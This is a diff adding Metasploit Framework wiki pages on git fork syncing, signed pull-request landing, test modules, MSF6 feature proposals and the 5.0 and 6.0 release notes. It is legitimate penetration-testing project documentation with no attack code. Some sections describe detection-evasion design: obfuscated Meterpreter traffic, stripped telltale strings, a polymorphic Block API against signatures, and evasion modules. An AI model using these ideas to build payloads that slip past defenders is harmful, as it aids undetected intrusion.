at their [Fork A Repo](https://help.github.com/articles/fork-a-repo/) docs, and do what it says. + +One thing I like to do is to keep separate branches for `master` (which tracks `origin/master`), and `upstream-master` (which tracks, unsurprisingly, `upstream/master`). If you just want to know how to add an `upstream` remote, [check it out](https://help.github.com/articles/configuring-a-remote-for-a-fork/). Once you've done that, all you need to do is to pull one of these: + +``` +git checkout -b upstream-master --track upstream/master +git checkout master +git merge --ff-only upstream-master +git commit +git push origin +``` + +Now, this only works well if you **never commit to master**. If you do, you're going to have a bad time, as you'll eventually hit a dreaded [merge conflict](https://help.github.com/articles/resolving-merge-conflicts/). + +Any change you make, be it for local experimentation or public proposal, should be done in a branch *from* the `master` branch (or, if you're a habitual committer, a branch off the `upstream-master` branch). + +Ignore this advice at your own peril. + +## The Max Powers Way + +*It's like the wrong way, but faster.* +*- Max Powers* + +If you are allergic to the command line, it *is possible* to sync with upstream/master via the GitHub web UI. This is a little messy, but it's handy if you have small changes that you don't care to sign (by the way, [you should sign your commits](http://mikegerwitz.com/papers/git-horror-story)). + +First, go to the [Rapid7 branch](https://github.com/rapid7/metasploit-framework), and click the green, somewhat subtle mini-PR button. Then, click **Compare across forks**, and set **base fork** to your fork, while leaving the head fork pointing to Rapid7's fork. That'll take you to a URL like this: `https://github.com/rapid7/metasploit-framework/compare/YOURGITHUBNAME:master...master` + +Next, you'll hit the big green **Create a Pull Request** button, which will drop you to a new PR page, against your own fork. Fill it in, then immediately click the **PRs** icon on the left side, find your new PR, and merge it. + +This will keep your GitHub-hosted fork up-to-date, and if you prefer using the GitHub UI over a real development environment, you can jump in and start making changes there. + +This method is especially handy for light changes, like documentation or cosmetic changes to modules. However, using the GitHub UI means that you are necessarily not testing new modules or libraries, and you of course cannot sign your commits, which is [horrifying](http://mikegerwitz.com/papers/git-horror-story). It's also nice for people very new to GitHub as a collaborative platform. + + diff --git a/metasploit-framework.wiki/Landing-Pull-Requests.md b/metasploit-framework.wiki/Landing-Pull-Requests.md new file mode 100644 index 000000000000..b4fe96da444a --- /dev/null +++ b/metasploit-framework.wiki/Landing-Pull-Requests.md @@ -0,0 +1,294 @@ +**This page is meant for Committers. If you are unsure whether you are a committer, you are not.** + +Metasploit is built incrementally by the community through GitHub's [Pull Request](https://github.com/rapid7/metasploit-framework/pulls) mechanism. Submitting pull requests (or PRs) is already discussed in the [Dev environment setup](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) documentation. It's important to realize that PRs are a feature of GitHub, not git, so this document will take a look at how to get your git environment to deal with them sensibly. + +# The short story + + - Configure your git environment as described [here](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#keeping-in-sync). + - Add the `fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*` line to your `.git/config`. + - Add your signing key `git config --global user.signingkey` + - Use `gpg --list-keys` to view your available keys. Note that on certain systems you may need to replace `gpg` with `gpg2`. Sample output can be seen below: + + ``` + pub rsa4096 2020-04-07 [SC] + 3198961E148FF5E527E31A5FD35E05C0F2B81E83 + uid [ultimate] Grant Willcox + sub rsa4096 2020-04-07 [E] + ``` + - Set the GPG key as your signing key. To set the key shown above as the signing key for all repositories, one would execute: + + ``` + git config --global user.signingkey 3198961E148FF5E527E31A5FD35E05C0F2B81E83 + ``` + - When merging code from a pull request, always, always `merge -S --no-ff --edit`, and write a meaningful [50/72](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) commit message that references the original PR as `#1234` (not PR1234, not PR#1234, not 1234). For example, your message should look like this: + + ```` + Land #1234, a whizbang bug fix + + Adds a whiz to the existing bang. It appears that without this, + bad things can occasionally happen. Thanks @mcfakepants! + + Fixes #1024, also see #999. + ```` + - The `-S` flag indicates that you're going to sign the merge with your PGP/GPG key, which is a + nice assurance that you're really you. + - The `--no-ff` flag indicates that you want to create a merge commit no matter what, even if + the merge would normally be resolved as a fast forwards. This ensure that all changes have a + commit associated with them. + - The `--edit` flag will drop you into your default editor (normally vim), and will allow you + to edit the commit message so that it conforms to Metasploit standards, rather than sticking + with git's pre-generated commit message which does not. + - Note that the `--no-ff` flag should be used both for PRs that go back to a contributor's branch as well as PRs that land in Metasploit's master branch. + - If you're making changes (often the case), merge to a landing branch, then merge **that** branch to upstream/master with the `-S --no-ff --edit` options. + +# Handy Git aliases + +Check out [this gist](https://gist.github.com/todb-r7/3fbee1a9e7b36d82ca55) that automates (mostly) landing pull requests, signing the merge commit, all while rarely losing a race with other committers. +# Fork and clone + +First, fork and clone the `rapid7/metasploit-framework` repo, [following these instructions](https://help.github.com/articles/fork-a-repo). I like using ssh with `~/.ssh/config` aliases [as described here](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment#wiki-ssh), but the https method will work, too. + +Once this is done, you will have a remote repository called "origin," which points to your forked repository on GitHub. You will be doing most of your work in your own fork of Metasploit, even if you have commit rights to Rapid7's fork. Now, we're going to add an "upstream" repository to talk to the Rapid7 repository. + +In addition, we're going to add a magical line to the config file that will let us see all pull requests against the Rapid7 repo (both open and closed). Note that this will take a minute since you're adding some hundreds of megs to your clone's refs. + +So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this: + +````config +[remote "upstream"] + fetch = +refs/heads/*:refs/remotes/upstream/* + fetch = +refs/pull/*/head:refs/remotes/upstream/pr/* + url = https://github.com/rapid7/metasploit-framework +```` + +And now it looks like this: + +````config +[remote "upstream"] + fetch = +refs/heads/*:refs/remotes/upstream/* + fetch = +refs/pull/*/head:refs/remotes/upstream/pr/* + url = git@github.com:rapid7/metasploit-framework.git +[remote "origin"] + fetch = +refs/heads/*:refs/remotes/origin/* + fetch = +refs/pull/*/head:refs/remotes/origin/pr/* + url = https://github.com/YOURNAME/metasploit-framework +```` + +Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this. + +Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right? + +```` +$ git fetch --all +Fetching todb-r7 +remote: Counting objects: 13, done. +remote: Compressing objects: 100% (1/1), done. +remote: Total 7 (delta 6), reused 7 (delta 6) +Unpacking objects: 100% (7/7), done. +From https://github.com/todb-r7/metasploit-framework + * [new ref] refs/pull/1/head -> origin/pr/1 + * [new ref] refs/pull/2/head -> origin/pr/2 +Fetching upstream +remote: Counting objects: 91, done. +remote: Compressing objects: 100% (29/29), done. +remote: Total 59 (delta 47), reused 42 (delta 30) +Unpacking objects: 100% (59/59), done. +From https://github.com/rapid7/metasploit-framework + [... bunches of tags and PRs ...] + * [new ref] refs/pull/1701/head -> upstream/pr/1701 + * [new ref] refs/pull/1702/head -> upstream/pr/1702 +```` + +You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests. + +# Branching from PRs + +A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would: + +```` +$ git checkout upstream/pr/1217 +Note: checking out 'upstream/pr/1217'. + +You are in 'detached HEAD' state. You can look around, make experimental +changes and commit them, and you can discard any commits you make in this +state without impacting any branches by performing another checkout. + +If you want to create a new branch to retain commits you create, you may +do so (now or later) by using -b with the checkout command again. Example: + + git checkout -b new_branch_name + +HEAD is now at 9e499e5... Make BindTCP test more robust +((no branch)) todb@mazikeen:~/git/rapid7/metasploit-framework +``` + +``` +$ git checkout -b landing-1217 +```` + +Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo). + +In this particular case with PR #1217, I did want to send some changes back to the contributor. + +**Important**: If the codebase the contributor's PR is based on is severely outdated (e.g., they branched off an outdated ```master```), you should not test their PR in isolation as described above. Instead, you should create a test branch that is identical to the latest codebase, merge the contributor's PR into the test branch, and then start your testing. You may need to `bundle install` to ensure you're using the right gems. + +Here's an example with #6954 (your workflow may vary): + +``` +$ git checkout upstream/master +Note: checking out 'upstream/master'. + +You are in 'detached HEAD' state. You can look around, make experimental +changes and commit them, and you can discard any commits you make in this +state without impacting any branches by performing another checkout. + +If you want to create a new branch to retain commits you create, you may +do so (now or later) by using -b with the checkout command again. Example: + + git checkout -b + +HEAD is now at afbeb2b... Land #7023, fixes for swagger exploit +$ git merge --no-ff --no-edit upstream/pr/6954 +Merge made by the 'recursive' strategy. + modules/exploits/windows/local/payload_inject.rb | 5 +++++ + 1 file changed, 5 insertions(+) +[*] Running msftidy.rb in .git/hooks/post-merge mode +--- Checking new and changed module syntax with tools/dev/msftidy.rb --- +modules/exploits/windows/local/payload_inject.rb - msftidy check passed +------------------------------------------------------------------------ +``` + +This ensures that the contributor's PR is being tested against the latest codebase and not an outdated one. **If you do not do this**, when you land the PR, you may end up breaking Metasploit. + +Note that the example above will leave you in a detached HEAD state. This is fine if you just want to test the module in question, however if you want to make any changes, don't forget to make a new branch. For the example above this could be done by running the following command: + +``` +git checkout -b land-6594 +``` + +## Checking out branches from a remote forked repo in your forked repo +After your `.git/config` is set up per the above, and you successfully run `git fetch --all`, you are two steps away from being able to check out a branch from a contributor's forked repo. + +You need to add their fork once as a remote: `git remote add OTHER_USER git://github.com/OTHER_USER/metasploit-framework.git`. Now pull down the latest from them: `git fetch OTHER_USER`. Now you can check out branches from OTHER_USER per usual, e.g. `git checkout bug/foo`. + +# Making changes + +```` +$ gvim .gitignore +[... make some changes and some commits ...] +(landing-1217) todb@mazikeen:~/git/rapid7/metasploit-framework +$ git checkout -b pr1217-fix-gitignore-conflict +Switched to a new branch 'pr1217-fix-gitignore-conflict' +(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework +$ git push origin pr1271-fix-gitignore-conflict +(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework +$ git pr-url schierlm javapayload-maven +Created new window in existing browser session. +```` + +This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course). + +```` +pr-url = !"echo https://github.com/YOURNAME/metasploit-framework/pull/new/HISNAME:HISBRANCH...YOURBRANCH" +```` + +Filling in the blanks (provided by the original PR's information from GitHub) gets me: + +```` +https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict +```` + +I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue. + +# Collaboration between contributors + +Note the important bit here: **you do not need commit rights to Rapid7 to branch pull requests**. If Alice knows a solution to Bob's pull request that Juan pointed out, it is **easy** for Alice to provide that solution by following the procedure above. `git blame` will still work correctly, commit histories will all be accurate, everyone on the pull request will be notified of Alice's changes, and Juan doesn't have to wait around for Bob to figure out how to use `send_request_cgi()` or whatever the problem was. The hardest part is remembering how to construct the pull request to Bob -- lucky for you, [this .git/config alias](https://gist.github.com/todb-r7/5438391) makes that part pretty push-button. + +# Landing to upstream + +Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this: + +```` +$ git fetch upstream +remote: Counting objects: 12, done. +remote: Compressing objects: 100% (2/2), done. +remote: Total 7 (delta 5), reused 7 (delta 5) +Unpacking objects: 100% (7/7), done. +From https://github.com/rapid7/metasploit-framework + 9e499e5..263e967 refs/pull/1651/head -> upstream/pr/1651 +```` + +This all looked good, so he could land this to Rapid7's repo with: + +```` +$ git checkout -b upstream-master --track upstream/master +$ git merge -S --no-ff --edit landing-1217 +$ git push upstream upstream-master:master +```` + +Or, if he already have upstream-master checked out: + +```` +$ git checkout upstream-master +$ git rebase upstream/master +$ git merge -S --no-ff --edit landing-1217 +$ git push upstream upstream-master:master +```` + +The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to: + +````commit +Land #1217, java payload build system refactor + +```` + +Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase. + +Finally, the -S indicates we are going to sign the merge, using our GPG key. This is a nice way to prove in a secure way that this merge is, in fact, coming from you, and not someone impersonating you. For more on signing merges, see [A Git Horror Story: Repository Integrity With Signed Commits](http://mikegerwitz.com/papers/git-horror-story.html). + +To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries: + +```` +[user] +name = Your Name +email = your@email.xxx +signingkey = DEADBEEF # Must match exactly with your key for "Your Name " +[alias] +c = commit -S --edit +m = merge -S --no-ff --edit +```` + +People with commit rights to rapid7/metasploit-framework will have their [keys listed here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys). + +# Post-Merge + +After a pull request has been merged, release notes should be added to the pull request in the form of a comment. These release notes will automatically be extracted and used as documentation when creating the [metasploit release notes](https://help.rapid7.com/metasploit/release-notes/). + +Release note examples: + +- [12873 Release notes](https://github.com/rapid7/metasploit-framework/pull/12873#issuecomment-577247684) +- [12831 Release notes](https://github.com/rapid7/metasploit-framework/pull/12831#issuecomment-577399914) + +The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request. + +# Cross-linking PRs, Bugs, and Commits + +TODO: Update in this new post-Redmine, GitHub issues world + +# Merge conflicts + +The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like: + +```` +git checkout upstream/pr/1234 +git checkout -b landing-1234 +git checkout master +git checkout -b master-temp +git merge landing-1234 master-temp +```` + +If that works, great, you know you don't have any merge conflicts right now. + +# Questions and Corrections + +Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com. \ No newline at end of file diff --git a/metasploit-framework.wiki/Loading-Test-Modules.md b/metasploit-framework.wiki/Loading-Test-Modules.md new file mode 100644 index 000000000000..4d21239abad2 --- /dev/null +++ b/metasploit-framework.wiki/Loading-Test-Modules.md @@ -0,0 +1,12 @@ +By default test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following: + +``` +msf6 > loadpath test/modules +Loaded 38 modules: + 14 auxiliary modules + 13 exploit modules + 11 post modules +msf6 > +``` + +These modules are intended to be used by developers to test updates to ensure they don't break core functionality and should not be used during normal operations. If you do happen to break the functionality of one of these modules, it is highly recommended that you look at what you are proposing within your PR and ensure that you are not accidentally breaking unintended functionality. If you do need to break certain functionality in order to add a given feature, and there is no other way to go around this, be sure to let one of the Metasploit team members know this so that appropriate updates can be made to these scripts and any associated code that may be updated by your change (assuming it is has been signed off and approved by the team). \ No newline at end of file diff --git a/metasploit-framework.wiki/MSF6-Feature-Proposals.md b/metasploit-framework.wiki/MSF6-Feature-Proposals.md new file mode 100644 index 000000000000..865abcd775fc --- /dev/null +++ b/metasploit-framework.wiki/MSF6-Feature-Proposals.md @@ -0,0 +1,86 @@ +List of potential major features (things that would make major breaking changes) for MSF6: + +## Payloads and Post-exploitation + +### Meterpreter Transport and Scalability Overhaul + +The Meterpreter Protocol "TLV" is enhanced to support modern features such as logging, unidirectional messages, obfuscation, sequence number reassembly and more. This feature will enable Meterpreter sessions to be more robust, faster, and evade detection with greater ease than before. + +Additionally, Meterpreter payload listeners, rather than being integrated straight into `msfconsole`, will run as an independent process that communicates with msfconsole (1 or more users) over RPC similar to the msfdb_ws (Metasploit Database Web Service). The external listener then replaces the 'metasploit-aggregator' project by not requiring an intermediate proxy to park or share sessions, these are done directly by having the listeners independent of console users. + +Listener capabilities be embeddable directly into Meterpreter payloads, allowing local listeners and remote listeners internal to other networks could be implemented the same way, enabling greater scalability and facilitating pivoting across more complex networks, allowing better post-exploitation possibilities in modern network environments. + +### Integration with external C2 frameworks + +If listeners are externalized, then there is an API layer both for interactive interaction with remote sessions, and a way for the Post-exploitation API to communicate with the external sessions. That should mean that if an external C2 framework supports at minimum shell interaction, a bulk of the Post-exploitation API should be applicable against external C2 frameworks as well. Metasploit would then be able to integrate both with other open-source C2 frameworks, as well as private ones. + +### Integration of native tool-chains + +Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a diffcult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago. + +### Native first-class UUID-aware, async stager payload + +Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7. + +## Module Interface + +### Overhaul network targeting + +Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart futher. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc: + +``` +set TARGETS https://user:password@target_app:4343 https://target_app2 +``` + +### Overhaul credential targeting + +The credential datastore options also has many different co-dependent and independent variables, which are confusing and awkward to use. In addition, there is little in the way of user-parallelism for using login scanners against single-service web apps. MSF6 should have an easier less messy overhaul of targeting multiple users and apps as well. Maybe TARGETS could be used the same way? + + +### Collapse module types, expose module 'abilities' or 'methods' instead + +Modules in Metasploit are classified according to what they can do ('exploits can exploit, scanners can scan') but often its useful to be able to scan for exploitable targets. Workarounds include reaching between modules and sharing library code and mixins. This proposal suggests that 'exploit' and 'scanner', as well as many other aux-type modules should collapse into a single module type. They simply expose capabilities like 'scan', 'check', 'exploit', etc. and a single module can do all of these. + +Additionally, 'admin' modules could be collapsed. For instance, why have a chromecast_reset and chromecast_youtube module when you can use 'admin/chromecast' and just type 'cast' or 'reset' as methods on this single module. This would also replace the 'ACTIONS' datastore option where they are used in multi-action aux modules. + +### Integration with external exploitation frameworks + +E.g. could we just use routersploit or wpsploit directly from within framework and gather loot/run post exploitation, etc. through them? Maybe using the external module RPC, just being able to expose multiple modules behind the same API? + +### Changing module structure on disk + +Currently a non-trivial exploit module will require adding code to 4 different subdirectories (lib, modules, documentation, external) which makes it both hard to follow all of the moving pieces, but also makes it harder to extract modules for independent use. See [[Bundled Modules Proposal]] for a more detailed proposal. + +## Data Model + +### Temporal / log-oriented data model + +Metasploit implements a standard Ruby-on-Rails CRUD model for storing data about an environment. A Host object is created, updated, deleted, etc. But, anything can update anything, making it easy to lose data, and hard to notice changes over time. A workaround is religious use of workspaces to segregate observations, but that's more of a workaround. A log-structured data model (observations about hosts/loot/credentials/services, etc.) should just be objects that are imported into a datastore that prioritizes search over everything else. Relationships between objects should be loose and maleable, as the way the graph of how objects are related can and does change over time in modern environments, often on the order of hours or minutes. + +As a concrete example, say every `report_*` method just wrote a JSON blob into elasticsearch. Then you would have first observed data, and when something else happens, say a password is cracked, rather than modifying a credential object, there would just be an enrichment object added to the data store, and both could be matched together later. The current data model also often doesn't have ways of storing arbitrary information from modules that need it; loot is often used as a workaround, but it's not searchable by content. Providing a way to store arbitrary JSON from modules would allow the flexibility to store anything, search for anything, and to never lose anything. Also, services would be removable as well from the database when a service is down. + +Note: a temporal data model will likely need something better able to show data relations than the current tabular rex-table approach in msfconsole. Web UI? + +### Data model is always available + +The database in Metasploit has historically been optional. Not everyone needs to store data and setting up and maintaining the database is often a burden to the user, with many possible failure modes. Having the data model not always be available often complicates Metasploit's code, and made some features like UUID tracking for payloads difficult to implement reliably. Metasploit 5 added web services for the data mode, which further complicated the code paths, adding a third way for behavior to possibly differ. + +We should make a light-weight in-memory database service that can run automatically if a persistent database is unavailable or unconfigured, which can always provide some sort of database service to Metasploit, even if it is ephemeral and exits when msfconsole/listeners, etc. have exited. `framework.db` should always exist, even if the data it stores goes into a temporary bit bucket. Then all of the conditional code paths can go away. + +## Infrastructure + +### First class user-oriented documentation + +Provide a means for the community to document changes to how Metasploit works (developer and user), unify various documentation resources. + +### Make Metasploit Higher-performance / lighter weight + +As subcomponents get carved off (external database service, external listeners), they should be implemented in a lighter weight way. We have some prototypes of the database web service rewritten in golang, and a persistent payload generation service that can be used my a client-only `msfvenom`-like tool can speed up execution considerably. + +### Sunsetting, separation of old module / code + +Metasploit has some really old modules that probably don't get used very often. Can we segregate these or sunset them so that the overall number of modules is reduced? + +### Integration of separate Metasploit projects into fewer repos (rex / payloads / metasploit data models) + +Metasploit is spread out across over a dozen different repos. Let's merge them as much as we can to make it easier to change them across the board (e.g. when changing the data model) and to make it easier to have parallel branches for stable/unstable work. diff --git a/metasploit-framework.wiki/Merging-Metasploit-Payload-Gem-Updates.md b/metasploit-framework.wiki/Merging-Metasploit-Payload-Gem-Updates.md new file mode 100644 index 000000000000..3e1488ac71c9 --- /dev/null +++ b/metasploit-framework.wiki/Merging-Metasploit-Payload-Gem-Updates.md @@ -0,0 +1,22 @@ +When the Metasploit Payloads has a new merge appear in `master`, a new Ruby gem is built and automatically pushed up to [RubyGems](https://rubygems.org/gems/metasploit-payloads/). This new version needs to be merged into the Metasploit Framework repository for those changes to be included. + +To do this, committers must: + +* Create a new branch in the Metasploit Framework repository. +* Name it something useful like `metasploit-payloads-`. +* Modify `metasploit-framework.gemspec`, so that the new version number is specified for the `metasploit-payloads` gem. +* Run `bundle install`. +* Remove any test/development binaries from `data/meterpreter`. +* Run `tools/modules/update_payload_cached_sizes.rb`. +* Make sure that `Gemfile.lock` only contains changes that are related to Metasploit Payloads. +* Stage the following for commit in `git`: + * `Gemfile.lock` + * `metasploit-framework.gemspec` + * Any payload modules that have had an updated payload size (usually this includes stageless payloads only) +* Commit the staged files. +* Push the branch to github. +* Create the Pull Request. + +Done! + +A sample update PR/commit can be found here: diff --git a/metasploit-framework.wiki/Metasploit-5.0-Release-Notes.md b/metasploit-framework.wiki/Metasploit-5.0-Release-Notes.md new file mode 100644 index 000000000000..f8f2227c6de8 --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-5.0-Release-Notes.md @@ -0,0 +1,33 @@ +Metasploit Framework 5.0 has released! + +Metasploit 5.0 brings many new features, including new database and automation APIs, evasion modules and libraries, language support, improved performance, and ease-of-use. + +See the release announcement [here](https://blog.rapid7.com/2019/01/10/metasploit-framework-5-0-released). + +The following is a high-level overview of Metasploit 5.0's features and capabilities. + +* Metasploit users can now run the PostgreSQL database by itself as a RESTful service, which allows for multiple Metasploit consoles and external tools to interact with it. + +* Parallel processing of the database and regular `msfconsole` operations improves performance by offloading some bulk operations to the database service. + +* A JSON-RPC API enables users to integrate Metasploit with additional tools and languages. + +* This release adds a common web service framework to expose both the database and the automation APIs; this framework supports advanced authentication and concurrent operations. Read more about how to set up and run these new services [here](https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service). + +* Adds `evasion` module type and libraries to let users generate evasive payloads without having to install external tools. Read the research underpinning evasion modules [here](https://www.rapid7.com/info/encapsulating-antivirus-av-evasion-techniques-in-metasploit-framework). Rapid7's first evasion modules are [here](https://github.com/rapid7/metasploit-framework/pull/10759). + +* The `metashell` feature allows users to run background sessions and interact with shell sessions without needing to upgrade to a Meterpreter session. + +* External modules add Metasploit support for Python and Go in addition to Ruby. + +* Any module can target multiple hosts by setting RHOSTS to a range of IPs, or by referencing a hosts file with the `file://` option. Metasploit now treats RHOST and RHOSTS as identical options. + +* An updated search mechanism improves Framework start time and removes database dependency. + +## Get Metasploit 5.0 + +You can get Metasploit 5.0 by checking out the [5.0.0 tag](https://github.com/rapid7/metasploit-framework/releases/tag/5.0.0) in the Metasploit GitHub project. + +Need a primer on Framework architecture and usage? Take a look at [our wiki here](https://github.com/rapid7/metasploit-framework/wiki), and feel free to reach out to the broader community [on Slack](https://metasploit.com/slack). There are also myriad public and user-generated resources on Metasploit tips, tricks, and content, so if you can't find something you want in our wiki, ask Google or the community what they recommend. + +See all the ways to stay informed and get involved at . diff --git a/metasploit-framework.wiki/Metasploit-6.0-Development-Notes.md b/metasploit-framework.wiki/Metasploit-6.0-Development-Notes.md new file mode 100644 index 000000000000..8c4d9a5cbdba --- /dev/null +++ b/metasploit-framework.wiki/Metasploit-6.0-Development-Notes.md @@ -0,0 +1,53 @@ +Metasploit Framework 6.0 is in progress! + +Metasploit 6.0 adds a number of features and promotes a theme of being "secure by default". + +See the release initial announcement [here](https://blog.rapid7.com/2020/08/06/metasploit-6-now-under-active-development/). + +## Payload Improvements + +Quite a few payload improvements have been made, most but not all have been for the Meterpreter payload and it's various implementations. Among other things, it was updated to support AES encryption in CBC mode in _all_ implementations on _all_ transports. This helps to secure framework users data in transit. Now any files transferred, commands issued, etc. are encrypted on the network using a AES and a key negotiated via RSA. + +This helps remove static strings from network traffic, but it's not the only change targeting obfuscation. Each of the Meterpreter commands were replaced with an integer equivalent, thus removing conspicuous values such as `stdapi_fs_file_copy`, `core_migrate` and `mimikatz_custom_command`. Additionally, the payload binaries were updated to utilize functions by ordinal value rather than by name. This allows them to be called without disclosing their own conspicuous values such as `RefletiveLoader`, `ext_server_`, etc. Lastly, the static "Block API" used by almost all x86 and x64 Windows shellcode payloads was updated to be polymorphic, causing it to be randomized on each invocation. In some payloads, the Block API accounts for as much as half of the shellcode and was an easy target for signature-based detection. + +All of these changes mark strides towards complicating the identification of key artifacts generated by Metasploit via static analysis, ie. signatures. + +### Compatibility Changes + +Metasploit 6 drops Meterpreter support for Windows versions older than XP SP2. This service pack adds a number of API methods that are required by Meterpreter and backporting compatibility is not a priority at this time. The Meterpreter stage will fail to load on these older, unsupported versions. This results in a message saying that the session was closed. + +## SMB 3 + +Metasploit 6 adds support for SMB client connections using the version 3 dialects. This adds compatibility for a large pool of modules to work in environments where SMB version 1 and 2 have been disabled. Additionally, one of the most notable improvements of the version 3 dialects is encryption support, which when negotiated allows the framework to secure it's connections to compatible SMB servers. SMB version 3, which was added in Windows 8 and Server 2012 incorporates a few security improvements leading to many organizations migrating towards its exclusive use within their environments. + +While many modules were updated to use the RubySMB SMB 3 implementation, not all were updated. Notably many older exploits that pre-date the release of SMB 3 were not updated and continue to use the original Rex implementation of the protocol. For those modules that have been updated however, users will be able to use them without any changes to their work flow. By default the newest dialect will be negotiated with the remote server and if it is one of the dialects within version 3 that supports encryption, the framework will use encryption by default. Users can alter this behavior by setting the `SMB::AlwaysEncrypt` and `SMB::ProtocolVersion` options. `SMB::AlwaysEncrypt` enforces encryption for SMB 3 connections even when the server does not require it (defaults to: `true`) while `SMB::ProtocolVersion` is a comma separated list of versions to allow the framework to negotiate (default: `1,2,3`). + +Module authors looking to write SMB modules should note the move towards the [RubySMB](https://github.com/rapid7/ruby_smb) protocol stack instead of the legacy Rex implementation. Much of the functionality is standardized within the [mixins](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/exploit/smb) however some edge-case functionality must still be ported over to RubySMB. For information on writing modules target SMB for Metasploit, see [Guidelines for Writing Modules with SMB](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Writing-Modules-with-SMB). + +## Pull Requests + +A complete list of pull requests included as part of the initial version 6 work: + +* Payload Improvements + * Add AES TLV encryption support: [Java](https://github.com/rapid7/metasploit-payloads/pull/400), [Python](https://github.com/rapid7/metasploit-framework/pull/13432) + * Support AES-128-CBC as an additional option: [Framework Core](https://github.com/rapid7/metasploit-framework/pull/13783), [Java](https://github.com/rapid7/metasploit-payloads/pull/418) + * Change from PEM to DER for crypt TLV negotiation: [Windows, Java, PHP](https://github.com/rapid7/metasploit-payloads/pull/397), [Framework Core](https://github.com/rapid7/metasploit-framework/pull/13400), [mettle](https://github.com/rapid7/mettle/pull/197), [Python](https://github.com/rapid7/metasploit-payloads/pull/415) + * Remove DLL exports from Meterpreter: [Windows](https://github.com/rapid7/metasploit-payloads/pull/401) [Framework Core](https://github.com/rapid7/metasploit-framework/pull/13476), [ReflectiveDLLInjection](https://github.com/rapid7/ReflectiveDLLInjection/pull/9) + * Replace METHOD string with COMMAND_ID integer (to remove obvious strings): [Framework Core](https://github.com/rapid7/metasploit-framework/pull/13395), [Windows, Java, PHP, Python](https://github.com/rapid7/metasploit-payloads/pull/395) + * [Cross-compile Windows binaries on Linux](https://github.com/rapid7/metasploit-payloads/pull/405) + * [Various changes required for cross compilation](https://github.com/rapid7/mimikatz/pull/4) + * [Update readme for cross compilation](https://github.com/rapid7/metasploit-payloads/pull/419) + * Remove the old Mimikatz extension: [Windows](https://github.com/rapid7/metasploit-payloads/pull/404), [Framework Core](https://github.com/rapid7/metasploit-framework/pull/13529) + * [Polymorphic x86/x64 Block API](https://github.com/rapid7/metasploit-framework/pull/13832) +* Add SMBv3 support: [ruby_smb](https://github.com/rapid7/ruby_smb/pull/154), [Framework Core](https://github.com/rapid7/metasploit-framework/pull/13417) + * [Fixes and improvements from MSF code review](https://github.com/rapid7/ruby_smb/pull/156) + * [Store server system and start time 